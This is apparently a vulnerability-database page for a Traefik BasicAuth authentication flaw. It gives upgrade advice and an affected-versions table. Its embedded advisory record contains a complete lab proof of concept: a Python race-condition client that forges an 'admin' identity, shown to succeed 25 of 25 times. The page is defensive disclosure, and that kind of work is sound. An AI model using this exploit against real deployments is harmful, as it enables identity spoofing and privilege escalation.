CVE-2026-71326: Traefik BasicAuth Singleflight Key Collision Allows Vulnerability
LOWCVE-2026-71326 is a LOW basicauth singleflight key collision allows vulnerability (CWE-287: Improper Authentication) affecting Traefik libraries in the Go ecosystem. The issue involves basicauth singleflight key collision allows authenticated identity spoofing. Remediation is available by upgrading affected packages to version 3.6.25, 3.7.10.
CVE-2026-71326 at a Glance
How to Fix CVE-2026-71326
To remediate this vulnerability, upgrade all affected Traefik dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/traefik/traefik/v3 to 3.6.25
Upgrade github.com/traefik/traefik/v3 to 3.7.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/traefik/traefik/v3
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-71326, inspect your project dependencies for Traefik:
inspect dependencies for github.com/traefik/traefik/v3
Analyze the terminal output to locate any version of Traefik in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.25), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Traefik, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-71326 Affected Traefik Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/traefik/traefik/v3
|
Go |
≥ 3.6.11
< 3.6.25
|
3.6.25
|
|
github.com/traefik/traefik/v3
|
Go |
≥ 3.7.0
< 3.7.10
|
3.7.10
|
References
Frequently Asked Questions
What is CVE-2026-71326?
Which Traefik versions are affected?
What version fixes CVE-2026-71326?
Is github.com/traefik/traefik/v3 affected?
What CWE is associated with CVE-2026-71326?
How can I check Go dependencies for CVE-2026-71326?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6765-c87h-8mrf",
"modified" : "2026-08-06T16:34:38Z",
"published" : "2026-08-06T16:34:38Z",
"aliases" : [ "CVE-2026-71326" ],
"summary" : "Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing",
"details" : "## Summary\n\nThere is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nTraefik's BasicAuth middleware deduplicates concurrent password checks with a\n`singleflight.Group`. Its key is the delimiter-free concatenation\n`password + secret`. For an existing user with password `P` and stored hash\n`H`, the key is `P || H`. An unknown user can select the password `P || H`;\nbecause its secret is the empty string, its key is also `P || H`.\n\nIf the existing user's request starts the shared calculation, the unknown\nuser receives the existing user's successful Boolean result. Traefik then\ncontinues processing the unknown user's original request and propagates the\nattacker-selected username through `URL.User`, the access log, and the\nconfigured BasicAuth `headerField`.\n\nA user who knows one valid username/password/hash tuple can therefore\nauthenticate concurrently under any unconfigured username. This becomes a\nprivilege escalation when a backend uses the BasicAuth `headerField` as a\ntrusted identity, which is the documented purpose of that option.\n\n## Details\n\nThe vulnerable logic is in\n`pkg/middlewares/auth/basic_auth.go:118-131`:\n\n```go\nfunc (b *basicAuth) checkPassword(user, password string) bool {\n\tsecret := b.auth.Secrets(user, b.auth.Realm)\n\n\tkey := password + secret\n\tmatch, _, _ := b.singleflightGroup.Do(key, func() (any, error) {\n\t\tif secret == \"\" {\n\t\t\t_ = b.checkSecret(password, b.notFoundSecret)\n\t\t\treturn false, nil\n\t\t}\n\n\t\treturn b.checkSecret(password, secret), nil\n\t})\n\n\treturn match.(bool)\n}\n```\n\nFor a configured user `viewer`:\n\n```text\npassword = P\nsecret = H\nkey = P || H\nresult = true\n```\n\nFor an unconfigured user `admin`:\n\n```text\npassword = P || H\nsecret = \"\"\nkey = (P || H) || \"\" = P || H\n```\n\n`singleflight.Group.Do` shares the first in-flight result for equal keys. If\nthe configured user's check is first, the unknown user's closure is not run\nand the unknown request receives `true`.\n\nThe authorization result is not bound to the username. After the shared\nresult is accepted, `ServeHTTP` uses the username parsed from the unknown\nrequest:\n\n```go\nreq.URL.User = url.User(user)\n\nif b.headerField != \"\" {\n\treq.Header.Del(b.headerField)\n\treq.Header[b.headerField] = []string{user}\n}\n```\n\nConsequently, the backend sees the attacker-selected `admin` identity, not\nthe valid request's `viewer` identity.\n\n### Attack prerequisites\n\nThe attacker needs:\n\n1. network access to a route protected by the affected BasicAuth middleware;\n2. one valid low-privilege username and password;\n3. the corresponding stored password hash.\n\nThe hash is often present in deployment labels or routing configuration.\nTraefik's API is also a direct source when the attacker can access it:\n`GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the\nhash, despite the field carrying `loggable:\"false\"`. The official v3.7.8\nbinary returned the hash in the validation environment.\n\nThe attacker does not need another user's password or a victim-generated\nrequest. The attacker creates both concurrent requests: one with their valid\ncredentials and one with an arbitrary, unconfigured target username.\n\n### Security impact\n\nWhen `headerField` is configured, an authenticated low-privilege user can\nimpersonate an arbitrary identity to the backend. Depending on downstream\nauthorization, this can allow:\n\n- access to administrative data;\n- execution of privileged state-changing operations;\n- corruption of audit attribution;\n- bypass of identity-based tenant or role separation.\n\nWithout `headerField`, the unknown request is still admitted through the\nBasicAuth middleware. The practical consequence then depends on whether the\nprotected route treats all authenticated users equally.\n\n## Proof of Concept\n\n### Validation environment\n\n- Official Traefik v3.7.8 Linux amd64 release.\n- Build timestamp: `2026-07-15T12:42:25Z`.\n- Go version in the release: `go1.26.5`.\n- Archive SHA-256:\n `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.\n- The checksum matched the official\n `traefik_v3.7.8_checksums.txt` release asset.\n- No Traefik source files were modified.\n\n### Dynamic configuration\n\nThe bcrypt hash below is for password `test` and uses cost 12:\n\n```yaml\nhttp:\n routers:\n app:\n entryPoints:\n - web\n rule: PathPrefix(`/`)\n middlewares:\n - auth\n service: backend\n\n middlewares:\n auth:\n basicAuth:\n headerField: X-WebAuth-User\n removeHeader: true\n users:\n - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'\n\n services:\n backend:\n loadBalancer:\n servers:\n - url: http://127.0.0.1:19090\n```\n\nSave it as `dynamic.yml`. Use this install configuration as `static.yml`:\n\n```yaml\nglobal:\n checkNewVersion: false\n sendAnonymousUsage: false\n\napi:\n insecure: true\n\nentryPoints:\n web:\n address: 127.0.0.1:18080\n\nproviders:\n file:\n filename: /absolute/path/to/dynamic.yml\n watch: false\n```\n\nThe API is enabled only to demonstrate that the runtime representation\nexposes the configured hash. It is not needed if the tester already knows the\nhash from the configuration.\n\nUse this backend as `backend.py`; it responds with the identity Traefik puts\nin the trusted header:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n body = (self.headers.get(\"X-WebAuth-User\", \"\") + \"\\n\").encode()\n self.send_response(200)\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, *args):\n pass\n\n\nThreadingHTTPServer((\"127.0.0.1\", 19090), Handler).serve_forever()\n```\n\nStart the backend and Traefik in separate shells.\n\nShell 1:\n\n```bash\npython3 backend.py\n```\n\nShell 2:\n\n```bash\n./traefik --configFile=/absolute/path/to/static.yml\n```\n\n### Exploit client\n\n```python\nimport base64\nimport http.client\nimport json\nimport threading\nimport time\nimport urllib.request\n\nHOST = \"127.0.0.1\"\nPORT = 18080\nPASSWORD = \"test\"\nHASH = \"$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.\"\n\n\ndef request(user, password):\n conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n token = base64.b64encode(f\"{user}:{password}\".encode()).decode()\n conn.request(\"GET\", \"/\", headers={\"Authorization\": f\"Basic {token}\"})\n response = conn.getresponse()\n body = response.read().decode().strip()\n status = response.status\n conn.close()\n return status, body\n\n\nmiddleware = json.load(\n urllib.request.urlopen(\n \"http://127.0.0.1:8080/api/http/middlewares/auth%40file\"\n )\n)\nprint(\"api_users\", middleware[\"basicAuth\"][\"users\"])\nprint(\"valid_baseline\", request(\"viewer\", PASSWORD))\nprint(\"attacker_baseline\", request(\"admin\", PASSWORD + HASH))\n\nwins = 0\nfor _ in range(25):\n valid_result = {}\n valid = threading.Thread(\n target=lambda: valid_result.setdefault(\n \"result\", request(\"viewer\", PASSWORD)\n )\n )\n valid.start()\n time.sleep(0.005)\n attack = request(\"admin\", PASSWORD + HASH)\n valid.join()\n if attack == (200, \"admin\"):\n wins += 1\n\nprint(\"forged_admin_successes\", wins, \"of\", 25)\n```\n\n### Observed output\n\n```text\napi_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']\nvalid_baseline (200, 'viewer')\nattacker_baseline (401, '401 Unauthorized')\nforged_admin_successes 25 of 25\n```\n\nThe negative control proves that `admin` is not configured and cannot\nauthenticate alone. During the collision, all 25 requests were admitted and\nthe backend received the forged identity `admin`.\n\nThe same behavior was first reproduced with Apache MD5. Its much shorter hash\ncalculation window yielded 2 successful identity forgeries in 100 attempts.\nUsing normal production-strength bcrypt made the race deterministic in this\nenvironment because the expensive comparison remains in flight long enough\nfor the second request to join it.\n\n## Impact\n\nAn attacker with read access to a configured password hash and the ability to\nsend concurrent requests can authenticate as an unconfigured username. When\n`headerField` is enabled, the attacker-selected username is forwarded to the\nbackend as a trusted authenticated identity, enabling privilege impersonation,\nunauthorized data access, unauthorized actions, and incorrect security audit\nattribution. Without `headerField`, the request still bypasses BasicAuth and\nreaches the protected service.\n\n\n</details>\n\n---",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/traefik/traefik/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.6.11"
}, {
"fixed" : "3.6.25"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.6.24"
}
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/traefik/traefik/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.7.0"
}, {
"fixed" : "3.7.10"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.7.9"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf"
}, {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/pull/13572"
}, {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/traefik/traefik"
}, {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/releases/tag/v3.6.25"
}, {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/releases/tag/v3.7.10"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-06T16:34:38Z",
"nvd_published_at" : null
}
}